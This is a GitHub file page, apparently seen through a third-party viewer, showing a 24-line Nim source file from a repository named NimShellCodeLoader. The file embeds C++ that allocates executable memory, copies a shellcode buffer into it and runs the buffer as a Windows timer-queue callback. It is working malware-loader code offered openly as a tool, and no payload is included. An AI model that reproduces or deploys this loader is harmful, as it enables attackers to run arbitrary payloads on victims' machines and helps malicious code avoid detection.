FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
NimShellCodeLoader/CreateTimerQueueTimer_Tech.nim at 0.3 · aeverj/NimShellCodeLoader · GitHub
aeverj
/
NimShellCodeLoader
Public
Notifications
You must be signed in to change notification settings
Fork
129
Star
706
Code
Issues
5
Pull requests
0
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Issues
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
NimShellCodeLoader
/
CreateTimerQueueTimer_Tech.nim
Copy path
More file actions
More file actions
Latest commit
History
History
History
24 lines (19 loc) · 818 Bytes
Breadcrumbs
NimShellCodeLoader
/
CreateTimerQueueTimer_Tech.nim
Copy path
File metadata and controls
24 lines (19 loc) · 818 Bytes
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import
public
{.
emit
:
"""
#include <stdio.h>
int CreateTimerQueueTimerNim(char *shellcode,SIZE_T shellcodeSize) {
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, shellcode, shellcodeSize);
HANDLE timer;
HANDLE queue = ::CreateTimerQueue();
HANDLE gDoneEvent = ::CreateEvent(NULL, TRUE, FALSE, NULL);
if (!::CreateTimerQueueTimer(&timer, queue, (WAITORTIMERCALLBACK)addr, NULL, 100, 0, 0)) {
printf("Fail");
}
if (::WaitForSingleObject(gDoneEvent, INFINITE) != WAIT_OBJECT_0)
printf("WaitForSingleObject failed (%d)\n", GetLastError());
}
"""
.}
proc
CreateTimerQueueTimerNim
(plainBuffer:
cstring
,size:
cint
):
cint
{.
importcpp
:
"
CreateTimerQueueTimerNim(@)
"
,
nodecl
.}
discard
CreateTimerQueueTimerNim
(code,codelen)
Back
|
FazBrowse Home
|
New Git URL